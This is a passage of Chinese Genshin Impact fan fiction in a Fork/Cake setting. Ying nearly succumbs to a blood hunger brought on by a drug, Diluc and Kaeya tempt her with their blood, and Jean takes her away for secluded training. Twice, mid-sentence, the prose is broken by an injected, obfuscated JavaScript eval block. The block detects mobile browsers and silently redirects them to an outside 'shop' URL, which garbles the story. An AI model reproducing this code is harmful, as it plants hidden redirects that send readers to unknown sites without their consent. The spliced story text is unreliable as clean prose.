男人惨叫一声,松开了手。他的手臂被火焰灼伤,皮肉焦黑。但他也够狠,在后退的同时,反手将一瓶紫色的药剂砸在地上。 “砰!” 药剂炸开,紫色的烟雾带着刺鼻的腥甜味,钻入荧的鼻腔。那一瞬间,她感到大脑“嗡”的一声—— 世界没有完全褪色,但被蒙上了一层血红的薄纱。所有声音变得遥远而模糊,只有心脏在胸腔里疯狂擂鼓的巨响。喉咙里烧起一把火,那火焰一路烧到胃部,烧到四肢百骸。 饿。 好饿。 要……要…… 她的瞳孔不受控制地缩紧,暗金色的光芒在眼底剧烈涌动。牙齿根部传来尖锐的酸胀感,指尖发麻。她死死盯着眼前受伤流血的男人——那新鲜的、甜腻的血腥味像最诱人的毒药,拉扯着她的每一根神经。 男人的肩膀在流血,暗红色的液体浸透了黑袍。荧的身体向前倾了倾,几乎是不由自主地。 “荧!”凯亚的声音仿佛隔着水传来,“看着我!别被它控制!” 荧猛地摇头,指甲深深掐进自己的掌心。疼痛让她获得了一丝短暂的清明。她踉跄着后退,背重重撞在墙上,大口喘息。 “出去……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122933|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从牙缝里挤出声音,颤抖得不成样子,“你们……都出去……” 她的眼睛在暗金与原本的金色之间挣扎闪烁,视线无法从男人流血的伤口上移开,却又一次次强迫自己别开脸。那种挣扎的姿态,像被无形的锁链捆住,正在被两头猛兽向相反的方向撕扯。 “她现在还有理智。”迪卢克沉声说,但脚步没有动,“但撑不了多久。” “那怎么办?”凯亚紧盯着荧,“等她完全失控?” 受伤的男人倒在地上,看着这一幕,竟然咧开嘴笑了,声音嘶哑:“没用……的……催化剂的效力……会让她彻底变成野兽……你们……拦不住……” “闭嘴。”迪卢克冷声道,却没有对男人动手。他的目光始终落在荧身上。 荧的呼吸越来越粗重,额头上渗出大颗的汗珠。她看着那滩血迹,又看着房间里的凯亚和迪卢克——他们身上散发出的、截然不同却同样诱人的气息,此刻比地上那个男人更加清晰,更加致命。 冰冻的糖浆……燃烧的葡萄藤…… 两种味道交织在一起,疯狂刺激着她濒临崩溃的感官。她感到唾液在不受控制地分泌,牙齿痒得让她想找什么东西狠狠咬下去。 “走……快走……”她几乎是在哀求,身体因为克制而剧烈颤抖。 凯亚和迪卢克对视一眼。 下一秒,两人同时动了。 但不是离开。 迪卢克大步走到荧面前,他并未举剑,而是用左手握住了右手的护腕,利落地解开扣子。在小臂裸露出的皮肤上,一道旧伤疤横亘在那里。他没有丝毫犹豫,用随身短刀的刀尖,沿着那道旧疤,划开了一道新的、浅浅的口子。 鲜血瞬间涌出。 那不是普通的血。在荧此刻的感官中,那血液散发出的气息——滚烫的、醇厚的、带着烈日与陈酿芬芳的灼热香气——像一场爆炸,直接冲垮了她本就摇摇欲坠的防线。 “迪卢克……你……”凯亚瞳孔微缩。 几乎在同一时刻,凯亚也动了。他没有划伤自己,而是径直走到了荧的另一侧,靠得极近。他摘下了平时总是戴着的皮质手套,将那只骨节分明、温度偏低的手,轻轻贴在了荧滚烫的脸颊上。 “很痛苦吧?”凯亚的声音压得很低,带着一种荧从未听过的、近乎诱哄的磁性,“明明眼前就有‘食物’,却要拼命忍住……何必呢?” 他说话时,身上那股冰凉甜腻的气息随着吐息拂过荧的耳廓。与迪卢克那侧传来的炽热诱惑形成了冰冷与灼烫的两极夹击。 荧闷哼一声,双腿发软,沿着墙壁滑坐下去。她的视线被迪卢克小臂上那道汩汩流血的伤口牢牢锁住,却又因为凯亚指尖的触碰和耳边的低语而颤抖。 “看,这里有更‘好吃’的。”迪卢克蹲下身,将流血的手腕递到荧眼前,声音低沉而平稳,仿佛在展示一件寻常物品,“也比地上那个干净。” “或者……”凯亚也蹲了下来,他的脸离荧极近,冰蓝色的眼眸深深望进她混乱的金色瞳孔里,嘴角勾起一抹带着致命诱惑的弧度,“你也可以尝尝别的‘味道’?我的血……可能没那么烫,但应该……也别有一番风味?” 两人一左一右,将她困在中间。两种极端而强大的Cake气息如同实质的牢笼,将她彻底包围。荧的理智在这双重诱惑下发出不堪重负的哀鸣,身体却诚实得可怕——她的目光无法从迪卢克的伤口移开,喉咙滚动,吞咽着根本不存在的唾液;而凯冰凉的指尖所到之处,却激起一阵阵战栗,让她想要更多接触,去汲取那甜腻中的一丝清凉。 “不……不行……”荧拼命摇头,双手死死抱住自己的胳膊,指甲陷进肉里,试图用更尖锐的疼痛来对抗这灭顶的渴望,“你们……走开……求你们……” 她的抵抗在两人刻意的、毫无保留的气息释放面前,显得如此微弱而可怜。 迪卢克看着荧痛苦挣扎的样子,红色的眼眸深处掠过一丝极深的不忍,但手上的动作却没有收回。他知道,此刻退让,她可能会转向地上那个更危险、更不可控的目标,或者彻底崩溃。 凯亚脸上的笑容淡了些,眼底闪过一丝复杂的情绪。他贴着荧脸颊的手指微微用力,声音更轻,几乎成了气音:“小木头,承认吧……你想要。你的身体,比你的嘴诚实多了。” 荧的防线,终于在这一刻,出现了裂痕。 她的头微微向前倾,鼻尖不受控制地抽动着,离迪卢克流血的手腕越来越近。暗金色的光芒几乎要完全吞没她原本的瞳色。 迪卢克屏住了呼吸。 凯亚的指尖微微收紧。 就在荧的嘴唇即将碰到那温热血迹的前一刹那—— “砰!” 房间的门被一股巨力撞开,琴的身影出现在门口。她浑身带着硝烟与血迹,脸色苍白,但眼神锐利如刀。她一眼就看穿了房间里的情形。 “退后!”琴厉声喝道,声音中灌注了风元素的力量,如同警钟在每个人耳边敲响。 同时,她手中甩出三颗特制的强效薄荷糖,精准地射入荧因惊愕而微张的口中。 清凉到近乎刺激的薄荷气息瞬间炸开,强行冲散了那甜腻与灼热的诱惑牢笼。荧浑身一震,眼底的暗金色如潮水般迅速褪去。她剧烈地咳嗽起来,薄荷糖的清凉和之前吸入的甜腻烟雾在喉咙里混合成一种怪异的感觉。 迪卢克立刻收回手,快速用纱布按住伤口。凯亚也若无其事地直起身,拉开了距离,只是指尖似乎还残留着荧脸颊滚烫的温度。 琴快步走到荧身边,将她扶起来,快速检查她的状况。确认她只是脱力并无大碍后,琴才抬起头,目光冰冷地扫过迪卢克还在渗血的手腕和凯亚。 她的声音压得很低,却带着压抑的怒火和某种更复杂的情绪: “你们……就是这么帮她的?” 房间内一片寂静。只有荧虚弱的咳嗽声,和地上那个昏迷男人微弱的呻吟。 凯亚看看琴,又看看迪卢克,最后看向还坐在地上、失魂落魄的荧,嘴角勾起一个意味不明的弧度。 这下……真的有趣了。 琴蹲下身,与荧平视。 “听我说。”她的声音很轻,但每个字都清晰,“今晚的事,不是你的错。是敌人用了诱导剂,强行催化了你的‘饥渴期’。如果没有那个药剂,你不会失控。” “可是……” “没有可是。”琴打断她,“失控是每一个Fork都会经历的过程。重要的是之后——你还能不能找回理智,还能不能控制自己。” 她伸出手,指尖轻轻擦过荧嘴角残留的血迹。 “而你做到了。”琴说,“在最后关头,你选择了迪卢克,而不是那个敌人。这意味着你的意志,战胜了最原始的杀戮本能。” 荧愣住了。她从来没从这个角度想过。 “真的……吗?” “真的。”琴站起身,朝她伸出手,“所以,站起来。你不需要为此羞愧。你需要的是……更多的训练,更好的控制,以及……” 她顿了顿,看了一眼迪卢克和凯亚。 “更坚强的意志,去面对未来可能出现的、更多的‘诱惑’。” 荧握住琴的手,站了起来。她的腿还在发软,但琴的手很稳,稳稳地支撑着她。 “接下来怎么办?”凯亚问,“这三个家伙怎么处理?” “关进地牢,严加看管。”琴的语气恢复了平时的冷静,“我要亲自审问他们。还有,今晚的事,所有人签署保密协议。我不希望有任何关于荧的流言传出去。” “明白。”凯亚点头,“那这里……” “我会处理。”琴说,“你先带他们回去。迪卢克前辈,也麻烦你……” “我留下来。”迪卢克说,“等医生过来检查完荧的情况再走。” 琴看了他几秒,最终点了点头:“好。” 凯亚带着俘虏离开了。房间里只剩下琴、迪卢克、荧和派蒙。气氛再次变得微妙而安静。 医生很快赶到,为荧做了简单检查。除了脖子上的一点淤青和过度消耗导致的虚弱,没有其他问题。医生留下一些安神药剂后也离开了。 “今晚你不能再住这里了。”琴说,“房间需要彻底清理和修复。你跟我回骑士团总部,住我隔壁的房间。” “这太麻烦……” “这是命令。”琴的语气不容置疑。 荧只好点头。 收拾东西的时候,迪卢克一直站在门口。等荧收拾好,准备跟着琴离开时,他叫住了她。 “荧。” 荧回头。 迪卢克走过来,将一个小瓶子塞进她手里。瓶子里是几颗深红色的药丸。 “莱艮芬德家特制的安神药。”他说,“如果晚上做噩梦,或者又觉得‘饿’,就吃一颗。效果比教会的薄荷糖强。” 荧握紧瓶子,小声说:“谢谢……还有,对不起……” “我说了,不用道歉。”迪卢克看着她,“但如果你真的觉得愧疚……” 他抬起那只手,手腕上的纱布还渗着一点红。 “下次‘饿’的时候,可以再来找我。” 这句话说得太直接,荧的脸瞬间涨红了。她不知所措地看向琴,发现团长的脸色也明显冷了下来。 “迪卢克前辈。”琴的声音很平静,但带着警告意味,“这种玩笑并不好笑。” “我没开玩笑。”迪卢克看向琴,红色眼眸里有什么东西在闪烁,“你应该比我更清楚,一个Fork在饥渴期需要什么。与其让她在外面找不安全的‘食物’,不如给她一个可控的选择。” “她不是野兽。”琴说,“我会教会她控制,而不是放纵。” “控制?”迪卢克扯了扯嘴角,“就像今晚这样?如果不是我及时赶到,她已经咬断那个人的喉咙了。到时候,你还能这么轻松地说‘控制’吗?” 两人的目光在空中碰撞,几乎迸出火花。 荧夹在中间,进退两难。派蒙躲在她身后,小声说:“旅行者,他们好像要打起来了……” “够了。” 荧突然开口。声音不大,但很清晰。 琴和迪卢克都看向她。 “我……”荧深吸一口气,“我会学会控制的。不靠咬人,不靠药物,就靠我自己。” 她抬起头,金色的眼睛里是前所未有的坚定。 “所以,请不要再为我吵架了。也不要再……说那种‘可以咬我’的话。” 她看着迪卢克,又看向琴。 “我不想成为任何人的负担,也不想成为……任何人的‘食物’或者‘样本’。” 房间里安静了很久。 最后,琴先移开了视线。她轻轻叹了口气。 “走吧。”她对荧说,“很晚了,你需要休息。” 荧点点头,跟着琴走出房间。经过迪卢克身边时,她小声说了句“晚安”。 迪卢克没有回应。他只是站在原地,看着她们离开的背影,许久,才低头看了看自己手腕上的伤口。 不想成为任何人的‘食物’吗? 他扯了扯嘴角,露出一丝苦笑。 窗外,蒙德的夜空开始泛白。 漫长的一夜,终于要过去了。 但有些东西,从这一夜开始,已经彻底改变了。 【下章预告】 审讯之夜将揭开‘捕食者’组织的部分真相,而荧的身体因催化剂的后续影响开始出现无法预料的变化。琴的秘密计划进入关键阶段,凯亚将采取更直接的行动。 7. 余烬与试探 黎明前的蒙德城,寂静得像一座巨大的坟墓。 琴带着荧回到骑士团总部时,天际线刚刚泛起一丝鱼肚白。走廊里空无一人,只有她们两人的脚步声在石壁间回荡,清晰得有些刺耳。 “今晚住这里。”琴推开一扇位于她办公室隔壁的门,“我设了双重结界,比宿舍安全。” 房间不大,但很整洁。一张床,一张书桌,一个衣柜。窗户正对着骑士团的训练场,此刻空荡荡的,只有晨雾在缓慢流动。 荧走进去,手里还紧紧攥着那枚银哨子。派蒙趴在她肩上,已经睡着了,小脸上还挂着泪痕。 “洗澡水已经放好了。”琴指了指房间内侧的小门,“衣服在衣柜里,是我的旧制服,可能不太合身,先将就一下。” “谢谢团长。”荧小声说。 琴站在门口,没有立刻离开。她的目光落在荧的脖颈上——那里有清晰的淤青指痕,是那个男人留下的。 “去洗个澡。”琴说,声音比平时柔和了些,“洗干净,然后好好睡一觉。今天上午的训练取消,你需要休息。” “可是——” “没有可是。”琴打断她,“这是命令。” 荧低下头:“……是。” 琴转身要走,又停下。她回头看着荧,晨光从走廊的窗户透进来,在她脸上切割出明暗交错的线条。 “你做得很好。”琴轻声说,“在那种情况下还能保持一丝理智……比我预想的要好得多。” 说完,她轻轻带上了门。 荧站在原地,听着门外结界被激活时发出的轻微嗡鸣声,许久没有动。直到派蒙在她肩上不安地动了动,她才回过神来。 浴室里热气氤氲。荧脱掉沾满血污和灰尘的制服,踏进浴缸。热水漫过身体的瞬间,她几乎要发出一声叹息——太舒服了,舒服得让她想就这样沉下去,永远不要起来。 但她不敢闭上眼睛。 一闭眼,就是刚才房间里的画面:迪卢克流血的手腕,凯亚贴近的脸,还有那两种几乎要将她撕裂的、极致诱惑的气息。 这个念头像毒蛇一样盘踞在她脑海深处,即使现在,即使洗掉了血迹,即使薄荷糖的效果还在,它依然存在。 她低头看着自己的手。指尖因为长时间用力掐握而泛白,指甲缝里还残留着一点暗红色——那是她自己的血,在抵抗时掐破掌心留下的。 我差点就…… 她猛地将头埋进水里,让热水淹没一切。 与此同时,琴的办公室。 灯还亮着。琴坐在办公桌后,面前摊开着审讯记录,但她一个字也看不进去。她的指尖无意识地在桌面上敲击,一下,又一下,像某种焦虑的节拍。 那个房间里发生的一切,像循环播放的影像在她脑海里反复上演。 迪卢克划开手臂的动作。 凯亚贴在荧脸颊上的手指。 荧痛苦挣扎的眼神。 还有……她推开门的瞬间,看到的那一幕——两人将荧困在中间,像两头猛兽在争夺对猎物的标记权。 他们越界了。 琴闭上眼,深深吸了一口气。理智告诉她,迪卢克和凯亚的做法在那种紧急情况下是有效的——用更强烈的、可控的诱惑,将荧的注意力从危险目标上转移开。这是对付即将失控的Fork的标准策略之一。 但感情上…… 她想起迪卢克收回手时,看向荧的那个眼神。那不是看“需要帮助的同胞”的眼神,那是…… 占有。 赤裸裸的占有。 还有凯亚。他指尖触碰荧脸颊的力道,他说话时的语气,他眼中那种玩味深处隐藏的东西…… 琴猛地睁开眼。 她不能再等了。荧的成长速度超出预期,但她的处境也越来越危险。“捕食者”组织的目标明确,而迪卢克和凯亚……他们的“兴趣”正在以一种她无法完全掌控的方式发酵。 必须加快进度。 琴站起身,走到墙边的书架前。她抽出一本厚重的、封面没有名字的典籍,手指在书脊上摸索,按下某个隐蔽的机关。 “咔哒”一声,书架向一侧滑开,露出后面的密室。 密室里很暗,只有中央的桌子上,三个水晶球散发着微弱的光芒。冰蓝色的、赤红的、还有一缕新加入的、淡金色的——那是她今天早上在训练场,悄悄从荧的止咬器上采集到的气息样本。 琴走到桌前,将手放在三个水晶球上。闭上眼睛,将意识沉入其中。 冰蓝色的球体里,凯亚的气息冰冷而甜腻,像裹着糖霜的毒药。此刻这缕气息显得有些……躁动,不再像平时那样平稳地散发寒意,而是像被投入石子的湖面,泛着一圈圈不安的涟漪。 他在意。比他表现出来的要在意得多。 赤红的球体里,迪卢克的气息灼热而醇厚,像陈年的烈酒。此刻这缕气息更加……汹涌,仿佛有什么东西在内部燃烧,几乎要冲破水晶球的束缚。 他在……渴望。 渴望被需要,渴望被选择。 最后,是那缕淡金色的、荧的气息。它很微弱,很干净,像初生的阳光。但在另外两股强大气息的映衬下,它显得如此脆弱,又如此诱人。 琴的手指微微收紧。 她能感觉到,这三缕气息之间,正在产生某种微妙的共鸣。不是融合,而是像磁石一样相互吸引、相互排斥,形成一个危险的、不稳定的三角场。 这样下去不行。 琴睁开眼,从密室的暗格里取出一个古老的羊皮卷轴。卷轴的边缘已经破损,上面用褪色的墨水写着密密麻麻的古文字——那是古恩希尔德家族代代相传的,关于Fork与Cake血脉研究的禁忌知识。 她快速翻到某一页。那一页的标题是: 【关于‘双向联结’的可能性与风险】 下面是一段触目惊心的记录: “当Fork与特定Cake之间产生过深的情感羁绊,或发生多次‘血液交换’(无论主动或被动),可能形成‘双向联结’。此种联结一旦建立,将产生以下影响: 1. Fork对联结Cake的渴望将指数级增强,同时对其余Cake的敏感度下降; 2. Cake将能更清晰地感知Fork的情绪状态,甚至产生一定程度的心灵共鸣; 3. 联结双方的距离将影响彼此的状态,分离可能导致焦虑、虚弱等症状; 4. 联结可被更强大的第三方力量利用,成为控制或伤害双方的弱点。” 记录的末尾,有人用红笔潦草地写着一行小字: “禁忌之术,慎用。吾以自身为戒——古恩希尔德第七代家主,艾德琳·古恩希尔德。” 琴的手指拂过那行字。她知道这位先祖的故事——她爱上了一个Cake,建立了双向联结,最终却因为联结被敌人利用,两人双双殒命。 可是... 她看向那缕淡金色的气息。 如果荧必须与某个Cake建立联结,那这个人…… 将卷轴小心地收好,琴走出密室。书架重新合拢,一切恢复原状。 她坐回办公桌后,开始书写今天的观察日志。笔尖在纸上沙沙作响,记录着每一个细节,每一个数据,每一个推测。 写到最后,她停顿了很久。 然后,在【备注】一栏里,她写下了一行与以往风格截然不同的文字: “样本对‘冰霜Cake’(凯亚)的接触产生明显生理反应(战栗、体温升高),对‘烈焰Cake’(迪卢克)的血液产生接近本能的渴望。两者均构成潜在风险。 建议:加速推进‘可控联结’计划,由观察者(本人)主动建立初步羁绊,以形成优先级的吸引与保护。” 写完,她合上日志,锁进抽屉。 窗外的天,终于完全亮了。 荧醒来时,已经是中午。 阳光透过窗户洒进房间,在地板上投出明亮的光斑。派蒙还在睡,蜷成一团窝在枕头边。 荧坐起来,感到浑身酸痛,像被马车碾过一样。但更让她不安的是,喉咙里那股熟悉的干渴感又回来了——虽然很轻微,但确实存在。 她下床,走到桌边。琴留下的水囊还在那里,旁边还多了一小碟薄荷糖和一张字条: “醒了来办公室找我。饿了的话,桌下有面包。”——琴 字迹工整有力,是琴一贯的风格。 荧吃了两片面包,又含了一颗薄荷糖。清凉的感觉暂时压下了干渴,但她知道,这只是权宜之计。 换衣服时,她发现自己身上那些淤青已经淡了很多——应该是芭芭拉的治疗或者琴给她的药起了作用。琴的旧制服对她来说有些大,袖口和裤脚都需要卷起来,但很干净,带着淡淡的、琴身上那种清冽的气息。 奇怪的是,这种气息并没有引起她的不适。相反,它让她感到一种……安心。 可能因为琴也是Fork吧。她这样想。 整理好仪容,荧走出房间。走廊里很安静,但当她走近琴的办公室时,隐约听到了里面传来的说话声。 是凯亚。 “……所以那个烧伤脸的男人,外号‘疤面’,是十年前从西风骑士团叛逃的前成员。真名叫埃德加·劳伦斯。” “劳伦斯家族的人?”琴的声音很冷。 “旁系远亲。当年因为私自进行禁忌的人体实验被您父亲驱逐,后来加入了‘血牙’。根据他的供述,‘血牙’确实已经解散,残余势力重组成了现在的‘捕食者’组织,首领是一个自称‘王’的神秘人物。” “目标?” “两个。第一,收集强大的Cake,为‘王’的某种仪式提供能量。第二……”凯亚顿了顿,“找到‘纯净的未觉醒Fork’,也就是我们的荧顾问。据说‘王’需要这样的个体来完成‘真正的进化’。” 办公室里沉默了几秒。 “进化?”琴问。 “具体不清楚。埃德加级别不够,只知道‘王’认为现在的Fork都是‘残次品’,被本能束缚的野兽。他要创造‘完美的、能完全掌控欲望的、凌驾于Cake之上的新种族’。” 荒谬的野心。但琴没有笑,她的声音反而更加凝重:“昨晚他们是怎么突破城防的?” “内应。”凯亚说,“埃德加交代,骑士团里有他们的人,至少两个,但他不知道具体是谁。昨晚的调虎离山和城内袭击是配合好的,目的就是趁我们主力外出时掳走荧顾问。” “审讯结果还有谁知道?” “只有我、您,和负责记录的书记官。我已经让书记官签署了最高级保密协议。” “做得好。”琴说,“埃德加现在怎么样?” “关在地牢最下层,由我亲自挑选的人看守。不过他受伤很重,尤其是肩膀……”凯亚的声音里带上了一丝古怪,“被什么东西……狠狠抓咬过,伤口很深,失血过多,现在还在昏迷。” 门外,荧的心跳漏了一拍。她想起昨晚,自己盯着埃德加流血肩膀时,那种几乎要扑上去的冲动。 如果不是迪卢克和凯亚…… 她不敢想下去。 “迪卢克那边有什么消息?”琴问。 “他今早派人送来了一份情报。”凯亚说,“关于‘王’的可能身份。迪卢克的线人在深渊教团内部听到了一些传闻——‘王’不是蒙德人,甚至可能不是提瓦特大陆的原生种族。他大约在五年前出现,整合了‘血牙’残部,手段……非常残酷。” “不是原生种族……”琴低声重复,“难道是……深渊?” “不确定。但迪卢克认为,‘王’对荧顾问的兴趣,可能和她‘外来者’的身份有关。” 办公室里再次陷入沉默。 荧站在门外,手心里全是汗。外来者……她确实是从世界之外漂流而来的,寻找血亲的旅人。这和那个“王”的目标有什么关系?她的哥哥空,会不会也…… “我知道了。”琴最终说,“继续审问埃德加,挖出更多关于内应和‘王’的情报。迪卢克那边,保持联系,但不要完全信任。至于荧……” “团长打算怎么做?”凯亚问,“继续把她关在总部训练?昨晚的事证明,这里也不安全。” “我有安排。”琴的声音恢复了平时的冷静,“接下来的一周,我会亲自对她进行封闭式特训。地点在清泉镇附近的一处古恩希尔德家族旧宅,那里有更完善的防护设施和训练场地。” “封闭式?”凯亚的声音里带上了一丝玩味,“就您和她两个人?” “对。” “那伙食呢?后勤呢?总需要人送补给吧?” “我会安排信得过的人定期运送。”琴说,“在此期间,总部的事务由你和丽莎代理。没有紧急情况,不要联系我。” 凯亚吹了声口哨:“听起来像是……私奔?” “凯亚·亚尔伯里奇。”琴的声音冷了下来,“注意你的言辞。” “抱歉抱歉。”凯亚笑着道歉,但语气里没什么诚意,“只是觉得,团长对小顾问的保护……是不是有点过度了?您知道的,过度的保护有时候会起到反效果,尤其是对正在成长中的……” “我比你更清楚该怎么训练她。”琴打断他,“如果没有其他事,你可以去忙了。” “好吧。”凯亚叹了口气,“那我先走了。对了……” 他的脚步声朝着门口靠近。 “团长,昨晚的事……”凯亚的声音在门后响起,很近,“您真的认为,我和迪卢克前辈的做法……完全是错的吗?” 门外,荧屏住了呼吸。 门内,琴沉默了很长时间。 “在那种紧急情况下,你们的做法是有效的。”她最终说,声音很平,“但我不希望再有下次。她不是需要靠‘诱惑’来安抚的野兽,她是可以靠意志力控制自己的战士。你们那么做,是在否定她的努力。” “……我明白了。”凯亚说,“那么,祝您特训顺利。” 门开了。 荧来不及躲闪,和正要走出来的凯亚撞了个正着。 骑兵队长愣了一下,随即露出他招牌式的笑容:“哟,小顾问,偷听可不是好习惯哦。” 他的眼睛在荧身上扫了一圈,落在她穿着的那身明显不合身的制服上,笑容深了些:“这身衣服……挺适合你的。” 荧的脸“腾”地红了:“我、我是来向团长报到的……” “知道知道。”凯亚侧身让她进去,在擦肩而过的瞬间,他压低声音,用只有两人能听到的音量说: “刚才的话,你都听到了?” 荧僵了一下,轻轻点头。 “别怕。”凯亚说,声音里没有了平时的轻佻,反而有种罕见的认真,“有团长在,你很安全。而且……” 他顿了顿,冰蓝色的眼眸深深看了她一眼。 “我和迪卢克,也不会让任何人把你带走的。我保证。” 说完,他挥挥手,哼着歌走远了。 荧站在原地,直到凯亚的身影消失在走廊拐角,才转身走进琴的办公室。 琴正站在窗前,背对着门口。晨光勾勒出她挺拔而孤独的背影,金色的长发像流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122934|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淌的阳光。 “团长。”荧小声说。 琴转过身。她的脸上没什么表情,但眼下的青黑显示她昨晚应该没怎么休息。 “感觉怎么样?”她问。 “……还好。” “说实话。” 荧低下头:“喉咙有点干,身体酸痛,但……能忍。” 琴走到她面前,抬手碰了碰她的额头,又检查了一下她脖颈上的淤青:“恢复得比预期快。看来你的身体已经开始适应‘饥渴期’的消耗了。” 她的手指很凉,碰在皮肤上很舒服。荧不自觉地放松了些。 “团长,”她小声问,“刚才凯亚队长说的……是真的吗?那个‘王’的目标是我?” 琴的手顿了一下。她收回手,走到办公桌后坐下:“是真的。但你不必过度担心。在蒙德,在骑士团,你是安全的。” “可是内应……” “我会处理。”琴的语气不容置疑,“你的任务是专心训练,尽快掌握控制本能的方法。只有这样,在面对危险时,你才能保护自己,而不是成为负担。” 话说得很直白,甚至有些刺耳。但荧听出了其中的关切——琴是在用她自己的方式,告诉荧该做什么。 “我明白了。”荧挺直背脊,“我会努力的。” 琴看着她,湖蓝色的眼眸里闪过一丝复杂的光。许久,她说: “收拾一下,我们下午出发。特训地点在清泉镇附近,为期一周。期间不会有外人打扰,你可以专心训练。” “是。” “另外,”琴补充道,“迪卢克早上派人送来了这个。” 她从抽屉里拿出一个小木盒,推到荧面前。盒子里整齐地码放着几十颗深红色的枣椰蜜糖,旁边还有一小瓶暗红色的药剂。 “糖是给你的,药剂是给我的。”琴说,“迪卢克说,如果你在训练中再次出现‘饥渴’症状,可以吃一颗糖,或者……使用药剂。” “药剂?”荧拿起那个小瓶子。液体很稠,在光线下泛着诡异的暗红色光泽。 “他的血。”琴说得平静,“混合了某种炼金稳定剂,可以在不直接接触的情况下提供‘替代满足’。理论上,这能帮助你建立对特定Cake气息的耐受性,降低失控风险。” 荧的手一抖,差点把瓶子摔了。 “这……太……” “太过了?”琴替她说完了,“确实。但迪卢克坚持。他说,与其让你在失控时去咬不该咬的人,不如给你一个安全的‘选项’。” 她把“选项”两个字咬得很重。 荧握着那个瓶子,感到一阵眩晕。迪卢克的血……装在瓶子里,像某种诡异的礼物。 “我不能收。”她把瓶子放回盒子。 “你可以选择不用。”琴说,“但带着。以防万一。” 她的语气让荧无法拒绝。荧最终点点头,收起了盒子。 “去准备吧。”琴说,“一小时后,我们在后门集合。” 下午两点,一辆不起眼的马车驶出蒙德城后门。 驾车的是琴,她换了一身朴素的旅行装束,金色的头发束成利落的马尾。荧坐在车厢里,身边放着简单的行李和那个装着药剂的小木盒。 派蒙趴在车窗边,看着逐渐远去的蒙德城,小声说:“旅行者,我们要去很远的地方吗?” “不算远。”琴头也不回地说,“清泉镇离蒙德只有半天路程。那里很安静,适合训练。” 马车沿着小路前行,很快进入了低语森林的边缘。阳光透过树叶的缝隙洒下来,在路面上投下斑驳的光影。一切都显得那么宁静,仿佛昨晚的惊心动魄只是一场噩梦。 但荧知道不是。 她的手指无意识地抚摸着脖颈上的淤青,又摸了摸口袋里那枚银哨子。金属冰凉的温度提醒着她,有些事已经改变了,再也回不去了。 “团长。”她突然开口。 “嗯?” “昨晚……谢谢您。”荧小声说,“如果不是您及时赶到,我可能已经……” “我说过,那不是你的错。”琴的声音从前面传来,“而且,你做得比大多数人都要好。在那种浓度的催化剂作用下,能保持一丝理智的Fork,我见过的不到三个。” 这话听起来像夸奖,但荧高兴不起来。 “迪卢克老爷和凯亚队长……”她犹豫着,“他们……为什么要那样做?” 马车颠簸了一下。琴沉默了很久,久到荧以为她不会回答了。 “因为他们想帮你。”琴最终说,声音很平,“只是方式……不太合适。” “可是他们让我……” “让你更难受了?”琴接话,“我知道。但你要理解,对于Cake来说,面对一个濒临失控的Fork,是一件非常危险的事。他们能想到的、最直接的‘帮助’,就是用自己的气息和血液来吸引你的注意力,让你远离更危险的目标。” 她顿了顿。 “这不是最好的方法,但至少……是有效的。” 荧低下头,看着自己的手。她想起迪卢克流血的手腕,想起凯亚贴在她脸上的手指,想起那种被两种极致诱惑夹在中间、几乎要疯掉的感觉。 有效,但是…… “我不喜欢那样。”她小声说,更像是在自言自语,“我不想……被当成需要靠‘诱惑’才能控制的野兽。” 马车突然停下了。 琴转过身,从驾座看向车厢里的荧。阳光从她身后照过来,给她的轮廓镀上一层金边,让人看不清她脸上的表情。 “你说得对。”琴的声音很轻,但很清晰,“你不需要被那样对待。这也是我带你去特训的原因——我要教会你的,不是如何‘被控制’,而是如何‘掌控自己’。” 她跳下马车,走到车厢边,朝荧伸出手。 “下车吧,我们到了。” 荧握住她的手,跳下马车。眼前是一片被森林环绕的小型庄园,古老的石砌建筑爬满了藤蔓,看起来已经废弃了很久。但庄园周围的结界很完整,散发着强大的元素波动。 “这里是古恩希尔德家族的一处旧宅。”琴推开锈迹斑斑的铁门,“已经空置几十年了,但防护设施还可用。接下来的七天,我们会在这里进行封闭训练。” 她回头看了荧一眼。 “这七天,不会有迪卢克,不会有凯亚,不会有任何Cake来干扰你。只有你和我,还有你的本能。” “你要做的,就是学会——在没有任何‘外力帮助’的情况下,控制它。” 荧看着眼前古老的庄园,又看了看琴坚定的侧脸,深吸一口气,点了点头。 “我准备好了。” 琴的唇角,极轻微地扬起了一个弧度。 “那么,训练开始。” 她推开主宅厚重的木门,门轴发出刺耳的“嘎吱”声,像是开启了某个尘封已久的秘密。 门内,一片昏暗。但荧能感觉到,空气中弥漫着某种熟悉的、清冽的气息——那是琴的气息,已经充满了整个空间。 像踏入了一头猛兽的巢穴。 这个念头让她脊背发凉,但又奇异地感到一种安心。 她跟着琴走进黑暗。 门,在她们身后缓缓关上。 【下章预告】 封闭特训正式开始,琴将采取前所未有的严酷手段锤炼荧的意志。在只有两人的古老庄园里,某些被压抑的情感与秘密开始悄然发酵。而在蒙德城内,凯亚与迪卢克各自展开行动,一个针对内应的调查,一个针对“王”的追查,却同时指向了某个令人不安的真相…… 8. 初级训练 古恩希尔德家的旧庄园,在荧踏入主厅的瞬间就吞没了所有来自外界的声音。 